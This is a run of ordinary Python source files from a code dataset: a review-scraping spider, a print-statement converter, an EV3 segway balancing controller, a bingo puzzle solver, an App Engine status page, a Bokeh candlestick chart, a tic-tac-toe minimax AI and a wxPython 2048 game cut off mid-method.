in_another_page_xpath:\n in_another_page_url = self.extract(response.xpath(in_another_page_xpath))\n if in_another_page_url:\n in_another_page_url = get_full_url(response, in_another_page_url)\n request = Request(in_another_page_url, callback=self.parse_fields_page)\n request.meta['review'] = review\n \n request.meta['test_verdict_xpath_1'] = test_verdict_xpath_1\n \n request.meta['pros_xpath'] = pros_xpath\n request.meta['cons_xpath'] = cons_xpath\n request.meta['rating_xpath'] = rating_xpath\n request.meta['award_xpath'] = award_xpath\n request.meta['award_pic_xpath'] = award_pic_xpath\n yield request\n else:\n \n if not review[\"TestVerdict\"]:\n review[\"TestVerdict\"] = self.extract(response.xpath(test_verdict_xpath_1))\n \n yield review\n\n yield product\n\n \n def parse_fields_page(self, response):\n review = response.meta['review']\n \n test_verdict_xpath_1 = response.meta['test_verdict_xpath_1']\n \n \n if not review[\"TestVerdict\"]:\n review[\"TestVerdict\"] = self.extract(response.xpath(test_verdict_xpath_1))\n \n pros_xpath = response.meta['pros_xpath']\n cons_xpath = response.meta['cons_xpath']\n rating_xpath = response.meta['rating_xpath']\n award_xpath = response.meta['award_xpath']\n award_pic_xpath = response.meta['award_pic_xpath']\n if pros_xpath:\n review[\"TestPros\"] = self.extract_all(response.xpath(pros_xpath), ' ; ')\n if cons_xpath:\n review[\"TestCons\"] = self.extract_all(response.xpath(cons_xpath), ' ; ')\n if rating_xpath:\n review['SourceTestRating'] = self.extract(response.xpath(rating_xpath), '%')\n if award_xpath:\n review['award'] = self.extract(response.xpath(award_xpath))\n if award_pic_xpath:\n review['AwardPic'] = self.extract(response.xpath(award_pic_xpath))\n yield review\n","sub_path":"alascrapy/spiders/thinkcomputers_org.py","file_name":"thinkcomputers_org.py","file_ext":"py","file_size_in_byte":9122,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"575239867","text":"#put parenthesis for the print function\n#since old python did not use the parenthesis for it\n\nimport re, os\n\n#list all files that end with .py\nfiles = list(filter(lambda x: x.endswith('.py'), os.listdir()))\n#replaces the original file, else creates a copy\n#Go with false if you want a backup\ninPlace = True\n\nmodified = '';\nif not inPlace:\n modified = ' - modified.py'\n\nfor i in files:\n if i == 'Editor.py':#do not edit this file\n continue\n f = open(i, 'r')\n s = f.read()\n f.close()\n lst = re.findall('print\\s*?[\\'|\\\"].*?[\\'|\\\"]', s)\n\n #if it is python 3.* or no print functions\n if lst == []:\n continue\n for j in lst:\n replace = 'print' + '(' + str(lst[0][5:])+ ')'\n s = s.replace(j, replace)\n f = open(i + modified, 'w')\n f.write(s)\n f.close()\n","sub_path":"Editor.py","file_name":"Editor.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"133025941","text":"#!/usr/bin/env python2.7\n\nfrom __future__ import division\nimport subprocess\nimport time\nimport math\nfrom collections import deque\n\nimport numpy as np\nimport scipy.io as sio\n\n\n########################################################################\n##\n## File I/O functions\n##\n########################################################################\n\n# Function for fast reading from sensor files\ndef FastRead(infile):\n infile.seek(0)\n value = int(infile.read().decode().strip())\n return (value)\n\n\n# Function for fast writing to motor files\ndef FastWrite(outfile, value):\n outfile.truncate(0)\n outfile.write(str(int(value)))\n outfile.flush()\n\n\n########################################################################\n##\n## Sensor Setup\n##\n########################################################################\n\n# Make symlinks to sensors and motor for easy access from this python program\nsubprocess.call(['./makelinks.sh'])\n\n# Open sensor files for (fast) reading\ntouchSensorValueRaw = open(\"ev3devices/in1/value0\", \"rb\")\ngyroSensorValueRaw = open(\"ev3devices/in2/value0\", \"rb\")\n\n# Set gyro to rate mode\nwith open('ev3devices/in2/mode', 'w') as f:\n f.write('GYRO-RATE')\n\n########################################################################\n##\n## Motor Setup\n##\n########################################################################\n\n# Open sensor files for (fast) reading\nmotorEncoderLeft = open(\"ev3devices/outD/position\", \"rb\")\nmotorEncoderRight = open(\"ev3devices/outA/position\", \"rb\")\n\n# Open motor files for (fast) writing\nmotorDutyCycleLeft = open(\"ev3devices/outD/duty_cycle_sp\", \"w\")\nmotorDutyCycleRight = open(\"ev3devices/outA/duty_cycle_sp\", \"w\")\n\n\n# Function to set the duty cycle of the motors\ndef SetDuty(motorDutyFileHandle, duty):\n # Clamp the value between -100 and 100\n duty = min(max(duty, -100), 100)\n # Apply the signal to the motor\n FastWrite(motorDutyFileHandle, duty)\n\n\n# Reset the motors\nwith open('ev3devices/outA/command', 'w') as f:\n f.write('reset')\nwith open('ev3devices/outD/command', 'w') as f:\n f.write('reset')\ntime.sleep(0.01)\n\n# Set motors in run-direct mode\nwith open('ev3devices/outA/command', 'w') as f:\n f.write('run-direct')\nwith open('ev3devices/outD/command', 'w') as f:\n f.write('run-direct')\n\n########################################################################\n##\n## Definitions and Initialization variables\n##\n########################################################################\n\n\n# Timing settings for the program\nloopTimeMiliSec = 10 # Time of each loop, measured in miliseconds.\nloopTimeSec = loopTimeMiliSec / 1000 # Time of each loop, measured in seconds.\nmotorAngleHistoryLength = 3 # Number of previous motor angles we keep track of.\nloopCount = 0 # Loop counter, starting at 0\n\n# Math constants\nradiansPerDegree = math.pi / 180 # The number of radians in a degree.\n\n# Platform specific constants and conversions\ndegPerSecondPerRawGyroUnit = 1 # For the LEGO EV3 Gyro in Rate mode, 1 unit = 1 deg/s\nradiansPerSecondPerRawGyroUnit = degPerSecondPerRawGyroUnit * radiansPerDegree # Express the above as the rate in rad/s per gyro unit\ndegPerRawMotorUnit = 1 # For the LEGO EV3 Large Motor 1 unit = 1 deg\nradiansPerRawMotorUnit = degPerRawMotorUnit * radiansPerDegree # Express the above as the angle in rad per motor unit\nRPMperPerPercentSpeed = 1.7 # On the EV3, \"1% speed\" corresponds to 1.7 RPM (if speed control were enabled)\ndegPerSecPerPercentSpeed = RPMperPerPercentSpeed * 360 / 60 # Convert this number to the speed in deg/s per \"percent speed\"\nradPerSecPerPercentSpeed = degPerSecPerPercentSpeed * radiansPerDegree # Convert this number to the speed in rad/s per \"percent speed\"\n\n# The rate at which we'll update the gyro offset (precise definition given in docs)\ngyroDriftCompensationRate = 0.1 * loopTimeSec * radiansPerSecondPerRawGyroUnit\n\n# A deque (a fifo array) which we'll use to keep track of previous motor positions, which we can use to calculate the rate of change (speed)\nmotorAngleHistory = deque([0], motorAngleHistoryLength)\n\n# State feedback control gains (aka the magic numbers)\ngainMotorAngle = 10 # For every radian we are ahead of the reference, apply this amount of duty cycle\ngainGyroAngle = 1482 # For every radian (57 degrees) we lean forward, apply this amount of duty cycle.\ngainMotorAngularSpeed = 19 # For every radian/s drive faster than the reference value, apply this amount of duty cycle\ngainGyroRate = 180 # For every radian/s we fall forward, apply this amount of duty cycle.\ngainMotorAngleErrorAccumulated = 2 # For every radian x s of accumulated motor angle, apply this amount of duty cycle\n\n# Variables representing physical signals (more info on these in the docs)\nmotorAngleRaw = 0 # The angle of \"the motor\", measured in raw units (degrees for the EV3). We will take the average of both motor positions as \"the motor\" angle, wich is essentially how far the middle of the robot has traveled.\nmotorAngle = 0 # The angle of the motor, converted to radians (2*pi radians equals 360 degrees).\nmotorAngleReference = 0 # The reference angle of the motor. The robot will attempt to drive forward or backward, such that its measured position equals this reference (or close enough).\nmotorAngleError = 0 # The error: the deviation of the measured motor angle from the reference. The robot attempts to make this zero, by driving toward the reference.\nmotorAngleErrorAccumulated = 0 # We add up all of the motor angle error in time. If this value gets out of hand, we can use it to drive the robot back to the reference position a bit quicker.\nmotorAngularSpeed = 0 # The motor speed, estimated by how far the motor has turned in a given amount of time\nmotorAngularSpeedReference = 0 # The reference speed during manouvers: how fast we would like to drive, measured in radians per second.\nmotorAngularSpeedError = 0 # The error: the deviation of the motor speed from the reference speed.\nmotorDutyCycle = 0 # The 'voltage' signal we send to the motor. We calulate a new value each time, just right to keep the robot upright.\ngyroRateRaw = 0 # The raw value from the gyro sensor in rate mode.\ngyroRate = 0 # The angular rate of the robot (how fast it is falling forward or backward), measured in radians per second.\ngyroEstimatedAngle = 0 # The gyro doesn't measure the angle of the robot, but we can estimate this angle by keeping track of the gyroRate value in time\ngyroOffset = 0 # Over time, the gyro rate value can drift. This causes the sensor to think it is moving even when it is perfectly still. We keep track of this offset.\n\n########################################################################\n##\n## Declare Kalman parameters\n##\n########################################################################\ndt = loopTimeSec\n\"\"\"\nsigma = 0.4\nx_pre = np.matrix([[0], [0]])\nF = np.matrix([[1, dt], [0, 1]])\nu = 0\nB = np.matrix([[dt * dt / 2], [dt]])\nQ = np.matrix([[dt * dt * dt / 3, dt * dt / 2], [dt * dt / 2, dt]]) * sigma * sigma\nR = 1 / 12 * np.eye(2)\nH = np.eye(2)\nI = np.eye(2)\nK = np.matrix([[0.0724, 0],[0, 0.0724]])\nP = np.matrix([[0.0065, 0],[0, 0.0065]])\nS = np.matrix([[0.089, 0],[0, 0.089]])\n#P_pre = np.matrix([[0.0065, 0], [0, 0.0065]])\n\"\"\"\n###### one dimention kalman filter\nx_pre = 0\nF = 1\nu = 0\n\nB = dt * 72\nsigma = 14\nQ = sigma * sigma * dt\nR = 1/12000\nP_pre = 1\n\n########################################################################\n##\n## Calibrate Gyro\n##\n########################################################################\n\nprint(\"-----------------------------------\")\nprint(\"Calibrating...\")\n\n# As you hold the robot still, determine the average sensor value of 100 samples\ngyroRateCalibrateCount = 100\nfor i in range(gyroRateCalibrateCount):\n gyroOffset = gyroOffset + FastRead(gyroSensorValueRaw)\n time.sleep(0.01)\ngyroOffset = gyroOffset / gyroRateCalibrateCount\n\n# Print the result\nprint(\"GyroOffset: \", gyroOffset)\nprint(\"-----------------------------------\")\nprint(\"GO!\")\nprint(\"-----------------------------------\")\n\n########################################################################\n##\n## MAIN LOOP (Press Touch Sensor to stop the program)\n##\n########################################################################\n\n# Initial touch sensor value\ntouchSensorPressed = FastRead(touchSensorValueRaw)\n\n# Remember start time because we want to set a world record\ntProgramStart = time.clock()\n\n#Log data initialize\ncontrol = np.zeros(1)\nmeasurements = np.zeros(1)\nwhile not touchSensorPressed:\n\n ###############################################################\n ## Loop info\n ###############################################################\n loopCount = loopCount + 1\n tLoopStart = time.clock()\n\n ###############################################################\n ##\n ## Driving and Steering. Modify this section as you like to\n ## make your segway go anywhere!\n ##\n ###############################################################\n\n # Read e.g. your PS2 controller here. Be sure you don't drag the loop too long\n\n # Or just balance in place:\n speed = 0\n steering = 0\n\n ###############################################################\n ## Reading the Gyro.\n ###############################################################\n gyroRateRaw = FastRead(gyroSensorValueRaw)\n gyroRate = (gyroRateRaw - gyroOffset) * radiansPerSecondPerRawGyroUnit\n\n ###############################################################\n ## Reading the Motor Position\n ###############################################################\n\n motorAngleRaw = (FastRead(motorEncoderLeft) + FastRead(motorEncoderRight)) / 2\n motorAngle = motorAngleRaw * radiansPerRawMotorUnit\n\n motorAngularSpeedReference = speed * radPerSecPerPercentSpeed\n motorAngleReference = motorAngleReference + motorAngularSpeedReference * loopTimeSec\n\n motorAngleError = motorAngle - motorAngleReference\n\n ###############################################################\n ## Computing Motor Speed\n ###############################################################\n\n motorAngularSpeed = (motorAngle - motorAngleHistory[0]) / (motorAngleHistoryLength * loopTimeSec)\n motorAngularSpeedError = motorAngularSpeed - motorAngularSpeedReference\n motorAngleHistory.append(motorAngle)\n \"\"\"\n ###############################################################\n ## Kalman Filtering Full edition\n ###############################################################\n # Predict\n x_inter = F * x_pre\n P_inter = F * P_pre * F.T + Q#SM: can go\n # Update\n S = H * P_inter * H.T + R#SM: can go\n K = P_inter * H.T * np.linalg.inv(S)#SM: can go\n y = np.matrix([[gyroEstimatedAngle], [gyroRate]])\n x_curr = x_inter + K * (y - x_inter)\n P_curr = (I - K * H) * P_inter#SM: can go\n # shift\n x_pre = x_curr.copy()\n P_pre = P_curr.copy()#SM: can go\n \"\"\"\n \"\"\"\n ###############################################################\n ## Kalman Filtering accelerated version with fixed P matrix\n ###############################################################\n # Predict\n x_inter1, x_inter2 = x_pre1 + (dt * x_pre2), x_pre2\n #x_inter = F * x_pre\n # Update\n #y = np.matrix([[gyroEstimatedAngle], [gyroRate]])\n #x_curr1, x_curr2 = x_inter1 + K * (y - x_inter)\n x_curr1, x_curr2 = x_inter1 + (0.965 * (gyroEstimatedAngle - x_inter1)), x_inter2 + (0.965 * (gyroRate - x_inter2))\n # shift\n x_pre1, x_pre2 = x_curr1, x_curr2\n gyroEstimatedAngle, gyroRate = x_curr1, x_curr2\n \"\"\"\n \"\"\"\n #######################################################\n ########## 1D kalman filter only deals with gyrorate\n ########################################################\n # set duty cycle within -100 to 100 range\n if motorDutyCycle > 100:\n u = 100\n elif motorDutyCycle < -100:\n u = -100\n else:\n u = motorDutyCycle\n # Predict\n x_inter = F * x_pre + B * u\n P_inter = P_pre + Q\n # Update\n S = P_inter + R\n K = P_inter / S\n y = gyroRate\n x_curr = x_inter + K * (y - x_inter)\n P_curr = (1 - K) * P_inter\n # shift\n x_pre = x_curr\n P_pre = P_curr\n gyroRate = x_curr\n ######################################################\n \"\"\"\n ###############################################################\n ## Computing the motor duty cycle value\n ###############################################################\n\n motorDutyCycle = (gainGyroAngle * gyroEstimatedAngle\n + gainGyroRate * gyroRate\n + gainMotorAngle * motorAngleError\n + gainMotorAngularSpeed * motorAngularSpeedError\n + gainMotorAngleErrorAccumulated * motorAngleErrorAccumulated)\n\n ###############################################################\n ## Apply the signal to the motor, and add steering\n ###############################################################\n\n SetDuty(motorDutyCycleRight, motorDutyCycle + steering)\n SetDuty(motorDutyCycleLeft, motorDutyCycle - steering)\n\n ###############################################################\n ## Update angle estimate and Gyro Offset Estimate\n ###############################################################\n\n gyroEstimatedAngle = gyroEstimatedAngle + gyroRate * loopTimeSec\n gyroOffset = (1 - gyroDriftCompensationRate) * gyroOffset + gyroDriftCompensationRate * gyroRateRaw\n\n ###############################################################\n ## Update Accumulated Motor Error\n ###############################################################\n\n motorAngleErrorAccumulated = motorAngleErrorAccumulated + motorAngleError * loopTimeSec\n\n ###############################################################\n ## Read the touch sensor (the kill switch)\n ###############################################################\n\n touchSensorPressed = FastRead(touchSensorValueRaw)\n\n ##############################################################\n #collecting data\n ##############################################################\n \"\"\"\n measurements = np.append(measurements,gyroRate)\n control = np.append(control, motorDutyCycle)\n \"\"\"\n ###############################################################\n ## Busy wait for the loop to complete\n ###############################################################\n\n while (time.clock() - tLoopStart < loopTimeSec):\n time.sleep(0.0001)\n\n ########################################################################\n##\n## Closing down & Cleaning up\n##\n########################################################################\n\n# See if we have that world record\ntProgramEnd = time.clock()\n\n# Turn off the motors\nFastWrite(motorDutyCycleLeft, 0)\nFastWrite(motorDutyCycleRight, 0)\n\n# Calculate loop time\ntLoop = (tProgramEnd - tProgramStart) / loopCount\nprint(\"Loop time:\", tLoop * 1000, \"ms\")\n########################################################################\n# Save collected datafile\n########################################################################\n#two matrices containing control duty cycle and measured data.\nsio.savemat('measurement.mat', {'vect': measurements})\nsio.savemat('control.mat', {'vect': control})\n\n\nprint(\"Log data saved\")\ntime.sleep(5)\n# Print a stop message\nprint(\"-----------------------------------\")\nprint(\"STOP\")\nprint(\"-----------------------------------\")\n","sub_path":"segway_program/control_log.py","file_name":"control_log.py","file_ext":"py","file_size_in_byte":15537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"559253294","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport sys\nfrom pprint import PrettyPrinter\nfrom typing import List, Tuple\n\nimport numpy as np\n\ncustom_printer = PrettyPrinter(\n indent=4,\n width=100,\n depth=2,\n compact=True,\n sort_dicts=False,\n underscore_numbers=True,\n)\n\nINPUT_FILE = \"input.txt\"\nBOARD_SIZE = 5\n\n\ndef calculate_final_score(board: np.matrix, drawn_numbers: List[int]) -> int:\n unmarked_numbers = []\n for number in np.nditer(board.flatten()):\n if number not in drawn_numbers:\n unmarked_numbers.append(number)\n return sum(unmarked_numbers) * drawn_numbers[-1]\n\n\ndef find_board_which_wins_last(boards, numbers):\n drawn_numbers = numbers[0:5]\n winning_boards = []\n for number in numbers[5:]:\n for board_index, board in enumerate(boards):\n for index in range(BOARD_SIZE):\n bingo_on_row = (\n np.size(\n np.intersect1d(\n np.array(board[index, :]), np.array(drawn_numbers)\n )\n )\n == BOARD_SIZE\n )\n bingo_on_column = (\n np.size(\n np.intersect1d(\n np.array(board[:, index]), np.array(drawn_numbers)\n )\n )\n == BOARD_SIZE\n )\n if bingo_on_column or bingo_on_row:\n print(f\"BINGO on board {board_index}\")\n if board_index not in winning_boards:\n winning_boards.append(board_index)\n if len(winning_boards) == len(boards):\n return boards[winning_boards[-1]], drawn_numbers\n drawn_numbers.append(number)\n\n\ndef read_bingo_input() -> Tuple[List[np.matrix], List[int]]:\n numbers: List[int] = []\n boards: List[np.matrix] = []\n with open(INPUT_FILE, \"r\", encoding=\"utf-8\") as f_handle:\n board = []\n for index, line in enumerate(f_handle):\n line = line.rstrip()\n if line:\n if index == 0:\n numbers = [int(num) for num in line.split(\",\")]\n continue\n else:\n board.append([int(num) for num in line.split(\" \") if num.strip()])\n else:\n if board:\n boards.append(np.matrix(board))\n board = []\n if board:\n boards.append(np.matrix(board))\n return boards, numbers\n\n\ndef solve() -> int:\n boards, numbers = read_bingo_input()\n winning_board, drawn_numbers = find_board_which_wins_last(boards, numbers)\n return calculate_final_score(winning_board, drawn_numbers)\n\n\ndef main():\n final_score = solve()\n print(f\"Result: {final_score}\")\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n","sub_path":"2021/Solutions/Day-4/solution_p2.py","file_name":"solution_p2.py","file_ext":"py","file_size_in_byte":2952,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"474531182","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n#\n# frontgrid.py\n#\n# Copyright 2020 Eduardo Martins Lopes \n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n# MA 02110-1301, USA.\n#\n#\nimport mcache, wsDB\nfrom google.appengine.ext import webapp\nfrom google.appengine.ext.webapp.util import run_wsgi_app\nclass MainPage(webapp.RequestHandler):\n def get(self):\n self.response.out.write('')\n\n machines = wsDB.manager()\n mws = mcache.cacher(\"machines\")\n total_machines = machines.retrieveActive()\n\n if len(total_machines) == 0:\n self.response.out.write(\"

No machines are online at the moment

\")\n else:\n for machine in total_machines:\n load = mws.retrievedict(machine)\n if load != -1:\n tmp = str(load)+ r'%'\n self.response.out.write(\"

%s load is %s

\" % (machine,tmp))\n else:\n self.response.out.write(\"

%s is offline at the moment

\" % (machine))\n\n\n self.response.out.write(\"\")\n\ndef main():\n\n application = webapp.WSGIApplication([('/', MainPage),], debug=True)\n run_wsgi_app(application)\n\nif __name__ == '__main__':\n main()\n","sub_path":"frontend/tc-parm/frontgrid.py","file_name":"frontgrid.py","file_ext":"py","file_size_in_byte":2186,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"200273152","text":"import pandas as pd\nfrom bokeh.plotting import figure, show, output_file\n#from bokeh.models import Ticker\n\n#load data into pandas dataframe\ndf = pd.read_csv('ES500Tick.txt')\n\n#strip whitespace from headers\ndf.rename(columns=lambda x: x.strip(), inplace=True)\n\n#combine Date and Time, convert to datetime\ndf['Datetime'] = df['Date'].map(str) + df['Time'].map(str)\ndf['Datetime'] = pd.to_datetime(df['Datetime'])\n\n#calculate values for candles\nmids = (df.Open + df.Last)/2\nspans = abs(df.Last-df.Open)\ninc = df.Last > df.Open\ndec = df.Open > df.Last\nw = 1000*10 #10 secs\n\n#make figure\nTOOLS = \"pan,wheel_zoom,box_zoom,reset,save\"\np = figure(x_axis_type=\"datetime\", tools=TOOLS, plot_width=1000, toolbar_location=\"left\")\n\n#make fixed ticks\np.xaxis[0].ticker.desired_num_ticks = len(df['Datetime'])\n\np.title = \"ES Candlestick\"\np.xaxis.major_label_orientation = .8\np.grid.grid_line_alpha=0.3\n\n#plot high-low lines\np.segment(df.Datetime, df.High, df.Datetime, df.Low, color=\"black\")\n\n#plot up bars\np.rect(df.Datetime[inc], mids[inc], w, spans[inc], fill_color=\"#D5E1DD\", line_color=\"black\")\n\n#plot down bars\np.rect(df.Datetime[dec], mids[dec], w, spans[dec], fill_color=\"#F2583E\", line_color=\"black\")\n\noutput_file(\"candlestick.html\", title=\"candlestick.py example\")\n\nshow(p) # open a browser","sub_path":"bokeh/bokeh_test.py","file_name":"bokeh_test.py","file_ext":"py","file_size_in_byte":1286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"228068046","text":"\nimport math\nimport random\n\nclass Player:\n def __init__(self, letter):\n # x or o letter\n self.letter = letter\n\n def get_move(self, game): \n # getting players their next move\n pass\n\nclass RandomComputerPlayer(Player):\n def __init__(self, letter):\n super().__init__(letter)\n\n def get_move(self, game):\n # random valid spot for the computer \n square = random.choice(game.available_moves())\n return square\n\n\nclass HumanPlayer(Player):\n def __init__(self, letter):\n super().__init__(letter)\n\n def get_move(self, game):\n valid_square = False\n val = None\n while not valid_square:\n square = input(self.letter + '\\'s turn. Input move (0-8):')\n\n try:\n val = int(square)\n if val not in game.available_moves():\n raise ValueError\n valid_square = True # else, to come out of loop\n except ValueError:\n print(\"Invalid move!! Try Again!\")\n\n return val\n\nclass ComputerPlayerAI(Player):\n def __init__(self, letter):\n super().__init__(letter)\n\n def get_move(self, game):\n if len(game.available_moves()) == 9:\n square = random.choice(game.available_moves())\n else:\n # square based on minimax algorithm\n square = self.minimax(game, self.letter)['position']\n return square\n\n def minimax(self, ss, player):\n max_player = self.letter # Human player gets maximizer function to maximize their win, while the computer minimizes its loss\n other_player = 'O' if player == 'X' else 'X'\n\n if ss.current_winner == other_player: # base case in recursion\n return {'position': None,\n 'score': 1*(ss.num_empty_squares() + 1) if other_player == max_player else -1*(ss.num_empty_squares() + 1)\n }\n\n elif not ss.empty_squares():\n return {'position': None, 'score': 0}\n\n # base case ends\n\n if player == max_player:\n best = {'position': None, 'score': -math.inf}\n else:\n best = {'position': None, 'score': math.inf}\n\n for possible_moves in ss.available_moves():\n # try a spot and make a move\n ss.make_move(possible_moves, player)\n # recursion to simulate the whole game after every possible move\n sim_score = self.minimax(ss, other_player) \n # undo the move\n ss.board[possible_moves] = ' '\n ss.current_winner = None\n sim_score['position'] = possible_moves\n # update the dictionary\n if player == max_player:\n if sim_score['score'] > best['score']:\n best = sim_score\n else:\n if sim_score['score'] < best['score']:\n best = sim_score\n\n return best\n\n","sub_path":"player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":2929,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"484643416","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\nimport wx\r\nimport copy\r\nimport random\r\n\r\nVALUE_COLOR_DEF = {\r\n 0: \"#CCC0B3\",\r\n 2: \"#EEE4DA\",\r\n 4: \"#EEE2D0\",\r\n 8: \"#F2B179\",\r\n 16: \"#FFEC8B\",\r\n 32: \"#F59563\",\r\n 64: \"#F65E3B\",\r\n 128: \"#EDCF72\",\r\n 256: \"#EDCC61\",\r\n 512: \"#EDC850\",\r\n 1024: \"#ECC641\",\r\n 2048: \"#EDC22E\",\r\n 4096: \"#EE7621\",\r\n 8192: \"#F0FFFF\",\r\n 16384: \"#F0FFF0\",\r\n 32768: \"#E6E6FA\"\r\n }\r\n\r\nclass GameFrame(wx.Frame):\r\n def __init__(self, title):\r\n self.score = 0\r\n self.record = 0\r\n self.first_inited = True\r\n self.tile_values = [[0, 0, 0, 0],\r\n [0, 0, 0, 0],\r\n [0, 0, 0, 0],\r\n [0, 0, 0, 0]]\r\n self.panel_orig_point = wx.Point(20, 100)\r\n super().__init__(None, title=title, size=(505, 600), style=wx.DEFAULT_FRAME_STYLE)\r\n self.addWidgets()\r\n self.Bind(wx.EVT_PAINT,self.onPaint)\r\n self.Bind(wx.EVT_KEY_DOWN,self.onKey)\r\n self.Bind(wx.EVT_CLOSE, self.onClose)\r\n self.SetFocus()\r\n def addWidgets(self):\r\n self.label_score_text = wx.StaticText(self, -1, u\"得分\", (200, 15), (80, 30), wx.ALIGN_CENTER)\r\n self.label_score_text.Font = wx.Font(18, wx.SWISS, wx.NORMAL, wx.BOLD, faceName=u\"Roboto\")\r\n self.label_score_text.SetForegroundColour(\"#CD661D\")\r\n self.label_score_text.SetBackgroundColour(\"#FAF8EF\")\r\n\r\n self.score_text = wx.StaticText(self, -1, \"0\", (200, 50), (80, 30), wx.ALIGN_CENTER)\r\n self.score_text.Font = wx.Font(18, wx.SWISS, wx.NORMAL, wx.BOLD, faceName=u\"Roboto\")\r\n self.score_text.SetForegroundColour(\"#FFFFFF\")\r\n\r\n self.label_record_text = wx.StaticText(self, -1, u\"纪录\", (300, 15), (80, 30), wx.ALIGN_CENTER)\r\n self.label_record_text.Font = wx.Font(18, wx.SWISS, wx.NORMAL, wx.BOLD, faceName=u\"Roboto\")\r\n self.label_record_text.SetForegroundColour(\"#CD661D\")\r\n self.label_record_text.SetBackgroundColour(\"#FAF8EF\")\r\n\r\n self.record_text = wx.StaticText(self, -1, str(self.record), (300, 50), (80, 30), wx.ALIGN_CENTER)\r\n self.record_text.Font = wx.Font(18, wx.SWISS, wx.NORMAL, wx.BOLD, faceName=u\"Roboto\")\r\n self.record_text.SetForegroundColour(\"#FFFFFF\")\r\n\r\n self.restart_btn = wx.Button(self, -1, u\"重新\\n开始\", (400, 15), (52, 65), wx.ALIGN_CENTER)\r\n self.restart_btn.Font = wx.Font(16, wx.DECORATIVE, wx.NORMAL, wx.BOLD, faceName=u\"Roboto\")\r\n self.restart_btn.SetForegroundColour(\"#CD661D\")\r\n self.restart_btn.Bind(wx.EVT_BUTTON, self.onBtnRestart)\r\n\r\n self.brand = wx.Image(\"2048.jpg\", type=wx.BITMAP_TYPE_ANY).Rescale(55,55)\r\n self.brand.SetMask(hasMask=True)\r\n self.brand_rot = self.brand.Rotate(angle=0.25, rotationCentre=(0,0),interpolating=True)\r\n self.brand_rot= self.brand_rot.ConvertToBitmap()\r\n self.brand = wx.StaticBitmap(parent=self, bitmap=self.brand_rot,pos=(25,5),size=(90,90))\r\n self.brand.SetBackgroundColour(\"#FAF8EF\")\r\n\r\n self.girl = wx.Image('girl.png', type=wx.BITMAP_TYPE_ANY).Rescale(60,85).ConvertToBitmap()\r\n self.girl = wx.StaticBitmap(parent=self, bitmap=self.girl,pos=(110,3),size=(60,85))\r\n self.girl.SetBackgroundColour(\"#FAF8EF\")\r\n\r\n def onPaint(self, event):\r\n if self.first_inited:\r\n self.first_inited = False\r\n self.startGame()\r\n else:\r\n self.startGameMiniWindow()\r\n\r\n def startGame(self):\r\n self.tile_values = [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]]\r\n self.score = 0\r\n try:\r\n with open(\"record.txt\") as fp:\r\n self.record = int(fp.read())\r\n except (IOError, ValueError) as err:\r\n print(\"read record error: %s\" % err)\r\n self.record = 0\r\n\r\n self.addRandomTile()\r\n self.initScreen()\r\n self.drawTiles()\r\n\r\n def startGameMiniWindow(self):\r\n self.initScreen()\r\n self.drawTiles()\r\n\r\n def initScreen(self):\r\n dc = wx.ClientDC(self)\r\n dc.SetBackground(wx.Brush(\"#FAF8EF\"))\r\n dc.Clear()\r\n dc.SetBrush(wx.Brush(\"#C0B0A0\"))\r\n dc.SetPen(wx.Pen(\"\", 1, wx.TRANSPARENT))\r\n dc.DrawRoundedRectangle(self.panel_orig_point.x, self.panel_orig_point.y, 450, 450, 5)\r\n\r\n self.score_text.SetLabel(\"0\")\r\n self.record_text.SetLabel(str(self.record))\r\n\r\n def drawTiles(self):\r\n dc = wx.ClientDC(self)\r\n dc.SetBrush(wx.Brush(\"#C0B0A0\"))\r\n dc.SetPen(wx.Pen(\"\", 1, wx.TRANSPARENT))\r\n dc.DrawRoundedRectangle(self.panel_orig_point.x, self.panel_orig_point.y, 450, 450, 5)\r\n for row in range(4):\r\n for column in range(4):\r\n tile_value = self.tile_values[row][column]\r\n tile_color = VALUE_COLOR_DEF[tile_value]\r\n dc.SetBrush(wx.Brush(tile_color))\r\n dc.DrawRoundedRectangle(self.panel_orig_point.x + 110 * column + 10,\r\n self.panel_orig_point.y + 110 * row + 10, 100, 100, 5)\r\n dc.SetTextForeground(\"#707070\")\r\n text_font = wx.Font(30, wx.SWISS, wx.NORMAL, wx.BOLD, faceName=u\"Roboto\")\r\n dc.SetFont(text_font)\r\n if tile_value != 0:\r\n size = dc.GetTextExtent(str(tile_value))\r\n if size[0] > 100:\r\n text_font = wx.Font(24, wx.SWISS, wx.NORMAL, wx.BOLD, faceName=u\"Roboto\")\r\n dc.SetFont(text_font)\r\n size = dc.GetTextExtent(str(tile_value))\r\n dc.DrawText(str(tile_value), self.panel_orig_point.x + 110 * column + 10 + (100 - size[0]) / 2,\r\n self.panel_orig_point.y + 110 * row + 10 + (100 - size[1]) / 2)\r\n\r\n def onKey(self,event):\r\n key_code = event.GetKeyCode()\r\n temp_tile_values = copy.deepcopy(self.tile_values)\r\n if key_code == wx.WXK_UP:\r\n self.onKeyUp()\r\n elif key_code == wx.WXK_DOWN:\r\n self.onKeyDown()\r\n elif key_code == 